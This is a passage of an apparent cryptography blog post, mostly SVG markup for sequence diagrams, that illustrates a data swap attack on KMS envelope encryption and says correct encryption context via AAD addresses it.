<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 480,96 L 488,96" fill="none" stroke="currentColor"></path>
<path d="M 496,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 56,144 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 56,192 L 64,192" fill="none" stroke="currentColor"></path>
<path d="M 72,192 L 80,192" fill="none" stroke="currentColor"></path>
<path d="M 88,192 L 96,192" fill="none" stroke="currentColor"></path>
<path d="M 104,192 L 112,192" fill="none" stroke="currentColor"></path>
<path d="M 120,192 L 128,192" fill="none" stroke="currentColor"></path>
<path d="M 136,192 L 144,192" fill="none" stroke="currentColor"></path>
<path d="M 152,192 L 160,192" fill="none" stroke="currentColor"></path>
<path d="M 168,192 L 176,192" fill="none" stroke="currentColor"></path>
<path d="M 184,192 L 192,192" fill="none" stroke="currentColor"></path>
<path d="M 200,192 L 208,192" fill="none" stroke="currentColor"></path>
<path d="M 216,192 L 224,192" fill="none" stroke="currentColor"></path>
<path d="M 232,192 L 248,192" fill="none" stroke="currentColor"></path>
<path d="M 0,240 L 48,240" fill="none" stroke="currentColor"></path>
<path d="M 48,240 L 104,240" fill="none" stroke="currentColor"></path>
<path d="M 360,240 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 504,240 L 520,240" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 496,288" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 64,336" fill="none" stroke="currentColor"></path>
<path d="M 80,336 L 88,336" fill="none" stroke="currentColor"></path>
<path d="M 96,336 L 104,336" fill="none" stroke="currentColor"></path>
<path d="M 112,336 L 120,336" fill="none" stroke="currentColor"></path>
<path d="M 128,336 L 136,336" fill="none" stroke="currentColor"></path>
<path d="M 144,336 L 152,336" fill="none" stroke="currentColor"></path>
<path d="M 160,336 L 168,336" fill="none" stroke="currentColor"></path>
<path d="M 176,336 L 184,336" fill="none" stroke="currentColor"></path>
<path d="M 192,336 L 200,336" fill="none" stroke="currentColor"></path>
<path d="M 208,336 L 216,336" fill="none" stroke="currentColor"></path>
<path d="M 224,336 L 232,336" fill="none" stroke="currentColor"></path>
<path d="M 240,336 L 248,336" fill="none" stroke="currentColor"></path>
<path d="M 256,336 L 264,336" fill="none" stroke="currentColor"></path>
<path d="M 272,336 L 280,336" fill="none" stroke="currentColor"></path>
<path d="M 288,336 L 296,336" fill="none" stroke="currentColor"></path>
<path d="M 304,336 L 312,336" fill="none" stroke="currentColor"></path>
<path d="M 320,336 L 328,336" fill="none" stroke="currentColor"></path>
<path d="M 336,336 L 344,336" fill="none" stroke="currentColor"></path>
<path d="M 352,336 L 360,336" fill="none" stroke="currentColor"></path>
<path d="M 368,336 L 376,336" fill="none" stroke="currentColor"></path>
<path d="M 384,336 L 392,336" fill="none" stroke="currentColor"></path>
<path d="M 400,336 L 408,336" fill="none" stroke="currentColor"></path>
<path d="M 416,336 L 424,336" fill="none" stroke="currentColor"></path>
<path d="M 432,336 L 440,336" fill="none" stroke="currentColor"></path>
<path d="M 448,336 L 456,336" fill="none" stroke="currentColor"></path>
<path d="M 464,336 L 472,336" fill="none" stroke="currentColor"></path>
<path d="M 480,336 L 488,336" fill="none" stroke="currentColor"></path>
<path d="M 496,336 L 504,336" fill="none" stroke="currentColor"></path>
<path d="M 48,368 L 72,368" fill="none" stroke="currentColor"></path>
<path d="M 56,400 L 72,400" fill="none" stroke="currentColor"></path>
<path d="M 56,464 L 64,464" fill="none" stroke="currentColor"></path>
<path d="M 72,464 L 80,464" fill="none" stroke="currentColor"></path>
<path d="M 88,464 L 96,464" fill="none" stroke="currentColor"></path>
<path d="M 104,464 L 112,464" fill="none" stroke="currentColor"></path>
<path d="M 120,464 L 128,464" fill="none" stroke="currentColor"></path>
<path d="M 136,464 L 144,464" fill="none" stroke="currentColor"></path>
<path d="M 152,464 L 160,464" fill="none" stroke="currentColor"></path>
<path d="M 168,464 L 176,464" fill="none" stroke="currentColor"></path>
<path d="M 184,464 L 192,464" fill="none" stroke="currentColor"></path>
<path d="M 200,464 L 208,464" fill="none" stroke="currentColor"></path>
<path d="M 216,464 L 224,464" fill="none" stroke="currentColor"></path>
<path d="M 232,464 L 248,464" fill="none" stroke="currentColor"></path>
<path d="M 256,512 L 496,512" fill="none" stroke="currentColor"></path>
<path d="M 264,560 L 272,560" fill="none" stroke="currentColor"></path>
<path d="M 288,560 L 296,560" fill="none" stroke="currentColor"></path>
<path d="M 304,560 L 312,560" fill="none" stroke="currentColor"></path>
<path d="M 320,560 L 328,560" fill="none" stroke="currentColor"></path>
<path d="M 336,560 L 344,560" fill="none" stroke="currentColor"></path>
<path d="M 352,560 L 360,560" fill="none" stroke="currentColor"></path>
<path d="M 368,560 L 376,560" fill="none" stroke="currentColor"></path>
<path d="M 384,560 L 392,560" fill="none" stroke="currentColor"></path>
<path d="M 400,560 L 408,560" fill="none" stroke="currentColor"></path>
<path d="M 416,560 L 424,560" fill="none" stroke="currentColor"></path>
<path d="M 432,560 L 440,560" fill="none" stroke="currentColor"></path>
<path d="M 448,560 L 456,560" fill="none" stroke="currentColor"></path>
<path d="M 464,560 L 472,560" fill="none" stroke="currentColor"></path>
<path d="M 480,560 L 488,560" fill="none" stroke="currentColor"></path>
<path d="M 496,560 L 504,560" fill="none" stroke="currentColor"></path>
<path d="M 256,592 L 280,592" fill="none" stroke="currentColor"></path>
<path d="M 312,624 L 320,624" fill="none" stroke="currentColor"></path>
<path d="M 264,640 L 280,640" fill="none" stroke="currentColor"></path>
<path d="M 0,672 L 48,672" fill="none" stroke="currentColor"></path>
<path d="M 48,672 L 256,672" fill="none" stroke="currentColor"></path>
<path d="M 256,672 L 504,672" fill="none" stroke="currentColor"></path>
<path d="M 504,672 L 520,672" fill="none" stroke="currentColor"></path>
<path d="M 0,240 L 0,672" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,240" fill="none" stroke="currentColor"></path>
<path d="M 48,240 L 48,288" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 48,368" fill="none" stroke="currentColor"></path>
<path d="M 48,368 L 48,672" fill="none" stroke="currentColor"></path>
<path d="M 48,672 L 48,688" fill="none" stroke="currentColor"></path>
<path d="M 72,368 L 72,400" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 256,256 L 256,272" fill="none" stroke="currentColor"></path>
<path d="M 256,304 L 256,320" fill="none" stroke="currentColor"></path>
<path d="M 256,352 L 256,512" fill="none" stroke="currentColor"></path>
<path d="M 256,512 L 256,592" fill="none" stroke="currentColor"></path>
<path d="M 256,592 L 256,672" fill="none" stroke="currentColor"></path>
<path d="M 256,672 L 256,688" fill="none" stroke="currentColor"></path>
<path d="M 280,592 L 280,640" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 504,240 L 504,672" fill="none" stroke="currentColor"></path>
<path d="M 504,672 L 504,688" fill="none" stroke="currentColor"></path>
<path d="M 520,240 L 520,672" fill="none" stroke="currentColor"></path>
<path d="M 256,272 L 256,280" fill="none" stroke="currentColor"></path>
<path d="M 256,296 L 256,304" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 256,328" fill="none" stroke="currentColor"></path>
<path d="M 256,344 L 256,352" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,144.000000 52.000000,138.399994 52.000000,149.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 144.000000)"></polygon>
<polygon points="64.000000,336.000000 52.000000,330.399994 52.000000,341.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 336.000000)"></polygon>
<polygon points="64.000000,400.000000 52.000000,394.399994 52.000000,405.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 400.000000)"></polygon>
<polygon points="256.000000,192.000000 244.000000,186.399994 244.000000,197.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 192.000000)"></polygon>
<polygon points="256.000000,464.000000 244.000000,458.399994 244.000000,469.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 464.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,560.000000 260.000000,554.400024 260.000000,565.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 560.000000)"></polygon>
<polygon points="272.000000,640.000000 260.000000,634.400024 260.000000,645.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 640.000000)"></polygon>
<polygon points="328.000000,624.000000 316.000000,618.400024 316.000000,629.599976" fill="currentColor" transform="rotate(0.000000, 320.000000, 624.000000)"></polygon>
<polygon points="504.000000,48.000000 492.000000,42.400002 492.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 496.000000, 48.000000)"></polygon>
<polygon points="504.000000,288.000000 492.000000,282.399994 492.000000,293.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 288.000000)"></polygon>
<polygon points="504.000000,512.000000 492.000000,506.399994 492.000000,517.599976" fill="currentColor" transform="rotate(0.000000, 496.000000, 512.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="132" fill="currentColor">s</text>
<text text-anchor="middle" x="64" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="64" y="324" fill="currentColor">{</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="72" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="72" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="72" y="436" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="80" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="80" y="324" fill="currentColor">2</text>
<text text-anchor="middle" x="80" y="436" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="452" fill="currentColor">i</text>
<text text-anchor="middle" x="88" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="180" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="324" fill="currentColor">=</text>
<text text-anchor="middle" x="88" y="388" fill="currentColor">C</text>
<text text-anchor="middle" x="88" y="436" fill="currentColor">2</text>
<text text-anchor="middle" x="88" y="452" fill="currentColor">n</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">y</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="388" fill="currentColor">2</text>
<text text-anchor="middle" x="96" y="436" fill="currentColor">,</text>
<text text-anchor="middle" x="96" y="452" fill="currentColor">s</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="388" fill="currentColor">=</text>
<text text-anchor="middle" x="104" y="436" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="452" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="388" fill="currentColor">e</text>
<text text-anchor="middle" x="112" y="436" fill="currentColor">2</text>
<text text-anchor="middle" x="112" y="452" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="120" y="244" fill="currentColor">D</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="324" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="388" fill="currentColor">n</text>
<text text-anchor="middle" x="120" y="436" fill="currentColor">)</text>
<text text-anchor="middle" x="120" y="452" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">C</text>
<text text-anchor="middle" x="128" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="388" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="452" fill="currentColor">d</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">=</text>
<text text-anchor="middle" x="136" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="324" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="388" fill="currentColor">(</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="388" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="452" fill="currentColor">o</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">_</text>
<text text-anchor="middle" x="152" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="388" fill="currentColor">k</text>
<text text-anchor="middle" x="152" y="452" fill="currentColor">f</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="160" y="244" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">i</text>
<text text-anchor="middle" x="160" y="324" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="388" fill="currentColor">2</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="168" y="244" fill="currentColor">w</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="168" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="168" y="388" fill="currentColor">,</text>
<text text-anchor="middle" x="168" y="452" fill="currentColor">(</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="176" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="176" y="324" fill="currentColor">2</text>
<text text-anchor="middle" x="176" y="388" fill="currentColor">P</text>
<text text-anchor="middle" x="176" y="452" fill="currentColor">E</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="184" y="244" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="184" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="184" y="388" fill="currentColor">2</text>
<text text-anchor="middle" x="184" y="452" fill="currentColor">,</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="192" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="388" fill="currentColor">)</text>
<text text-anchor="middle" x="192" y="452" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="132" fill="currentColor">P</text>
<text text-anchor="middle" x="200" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="200" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="452" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="208" y="324" fill="currentColor">1</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="216" y="324" fill="currentColor">)</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="224" y="324" fill="currentColor">}</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="244" fill="currentColor">c</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="244" fill="currentColor">k</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="244" fill="currentColor">w</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="264" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="500" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="244" fill="currentColor">h</text>
<text text-anchor="middle" x="280" y="500" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="288" y="500" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="244" fill="currentColor">E</text>
<text text-anchor="middle" x="296" y="500" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="612" fill="currentColor">d</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="304" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="304" y="500" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="612" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="244" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="500" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="612" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="244" fill="currentColor">r</text>
<text text-anchor="middle" x="320" y="500" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="612" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="244" fill="currentColor">y</text>
<text text-anchor="middle" x="328" y="500" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="612" fill="currentColor">d</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="336" y="244" fill="currentColor">p</text>
<text text-anchor="middle" x="336" y="500" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="548" fill="currentColor">{</text>
<text text-anchor="middle" x="336" y="612" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="628" fill="currentColor">P</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="344" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="344" y="500" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="548" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="612" fill="currentColor">2</text>
<text text-anchor="middle" x="344" y="628" fill="currentColor">2</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="352" y="500" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="548" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="612" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="500" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="548" fill="currentColor">2</text>
<text text-anchor="middle" x="360" y="612" fill="currentColor">C</text>
<text text-anchor="middle" x="360" y="628" fill="currentColor">≠</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="368" y="500" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="548" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="612" fill="currentColor">2</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="376" y="500" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="612" fill="currentColor">)</text>
<text text-anchor="middle" x="376" y="628" fill="currentColor">P</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="384" y="500" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">C</text>
<text text-anchor="middle" x="392" y="500" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">1</text>
<text text-anchor="middle" x="400" y="500" fill="currentColor">2</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="408" y="500" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="500" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="500" fill="currentColor">C</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="432" y="500" fill="currentColor">1</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="440" y="500" fill="currentColor">)</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">,</text>
<text text-anchor="middle" x="456" y="36" fill="currentColor">E</text>
<text text-anchor="middle" x="464" y="36" fill="currentColor">C</text>
<text text-anchor="middle" x="472" y="36" fill="currentColor">1</text>
<text text-anchor="middle" x="480" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 4: Data swap attack with Encrypt operation.</span></figcaption></figure>
<p>The attacks we’ve discussed so far have been on the “envelope” level. Similar issues exist on the DK
level if a DK is used multiple times (though this rarely happens). These issues should be solvable
with correct encryption context implemented via AAD.</p>
<figure>
 <div class="tabs">

<label class="tabs__label" for="tabs-6-0">Attack</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 512 777">
 <g transform="translate(8,16)">
<path d="M 256,48 L 472,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 256,128 L 280,128" fill="none" stroke="currentColor"></path>
<path d="M 264,176 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 56,224 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 56,272 L 64,272" fill="none" stroke="currentColor"></path>
<path d="M 72,272 L 80,272" fill="none" stroke="currentColor"></path>
<path d="M 88,272 L 96,272" fill="none" stroke="currentColor"></path>
<path d="M 104,272 L 112,272" fill="none" stroke="currentColor"></path>
<path d="M 120,272 L 128,272" fill="none" stroke="currentColor"></path>
<path d="M 136,272 L 144,272" fill="none" stroke="currentColor"></path>
<path d="M 152,272 L 160,272" fill="none" stroke="currentColor"></path>
<path d="M 168,272 L 176,272" fill="none" stroke="currentColor"></path>
<path d="M 184,272 L 192,272" fill="none" stroke="currentColor"></path>
<path d="M 200,272 L 208,272" fill="none" stroke="currentColor"></path>
<path d="M 216,272 L 224,272" fill="none" stroke="currentColor"></path>
<path d="M 232,272 L 248,272" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 472,320" fill="none" stroke="currentColor"></path>
<path d="M 264,368 L 272,368" fill="none" stroke="currentColor"></path>
<path d="M 288,368 L 296,368" fill="none" stroke="currentColor"></path>
<path d="M 304,368 L 312,368" fill="none" stroke="currentColor"></path>
<path d="M 320,368 L 328,368" fill="none" stroke="currentColor"></path>
<path d="M 336,368 L 344,368" fill="none" stroke="currentColor"></path>
<path d="M 352,368 L 360,368" fill="none" stroke="currentColor"></path>
<path d="M 368,368 L 376,368" fill="none" stroke="currentColor"></path>
<path d="M 384,368 L 392,368" fill="none" stroke="currentColor"></path>
<path d="M 400,368 L 408,368" fill="none" stroke="currentColor"></path>
<path d="M 416,368 L 424,368" fill="none" stroke="currentColor"></path>
<path d="M 432,368 L 440,368" fill="none" stroke="currentColor"></path>
<path d="M 448,368 L 456,368" fill="none" stroke="currentColor"></path>
<path d="M 464,368 L 472,368" fill="none" stroke="currentColor"></path>
<path d="M 256,400 L 280,400" fill="none" stroke="currentColor"></path>
<path d="M 376,416 L 384,416" fill="none" stroke="currentColor"></path>
<path d="M 264,432 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 0,464 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 104,464" fill="none" stroke="currentColor"></path>
<path d="M 200,464 L 480,464" fill="none" stroke="currentColor"></path>
<path d="M 480,464 L 496,464" fill="none" stroke="currentColor"></path>
<path d="M 56,528 L 64,528" fill="none" stroke="currentColor"></path>
<path d="M 72,528 L 80,528" fill="none" stroke="currentColor"></path>
<path d="M 88,528 L 96,528" fill="none" stroke="currentColor"></path>
<path d="M 104,528 L 112,528" fill="none" stroke="currentColor"></path>
<path d="M 120,528 L 128,528" fill="none" stroke="currentColor"></path>
<path d="M 136,528 L 144,528" fill="none" stroke="currentColor"></path>
<path d="M 152,528 L 160,528" fill="none" stroke="currentColor"></path>
<path d="M 168,528 L 176,528" fill="none" stroke="currentColor"></path>
<path d="M 184,528 L 192,528" fill="none" stroke="currentColor"></path>
<path d="M 200,528 L 208,528" fill="none" stroke="currentColor"></path>
